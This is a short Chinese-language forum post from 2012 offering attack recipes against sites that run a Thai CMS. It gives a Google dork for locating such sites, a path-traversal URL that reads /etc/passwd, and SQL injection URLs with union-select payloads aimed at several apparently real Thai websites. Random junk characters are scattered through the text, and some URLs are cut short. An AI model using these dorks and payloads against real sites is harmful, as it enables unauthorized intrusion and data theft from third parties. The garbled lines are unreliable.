Google之:0 ~8 g- ?( j, |& E p) X% O
4 a: ` r: j' b, A+ O% c) } U) Fintext:powered by Thaiweb7 ]9 C& {1 H; O% P
, R1 [1 K& q1 e( v+ {2 q
inurl:index.php?page=board.php
' X0 b; q4 N9 i
1 m1 G7 u3 d$ W* B" j
( N7 B; V" j/ F1 \# Q! W/ n9 O: w" v2 C; K0 @
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd( |& i& m2 {1 U0 A: J. ?& l
% q5 L, b1 [( o1 y$ v5 U
0 t; x# S0 B6 g* |7 k# @4 y, c( |/ U( |8 j8 z# |2 }
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'7 H3 S3 ]/ O, l/ N
" ?* P0 `3 B) B/ `7 E( \$ e % s! k+ ~: E' h8 B/ M
* |! k0 w$ Z) S$ I4 V
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--: y8 V7 S: }( W) ?* w% E9 Y Z9 E
. I' Y: X3 L$ e& Ahttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--' F; ~2 R/ W* @; F5 p3 s
# W3 E6 B# P* i% }6 ?
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
" G( T0 h" r' c* m: d$ H* H |
发表于 2012-12-27 08:38:39
收藏
支持
反对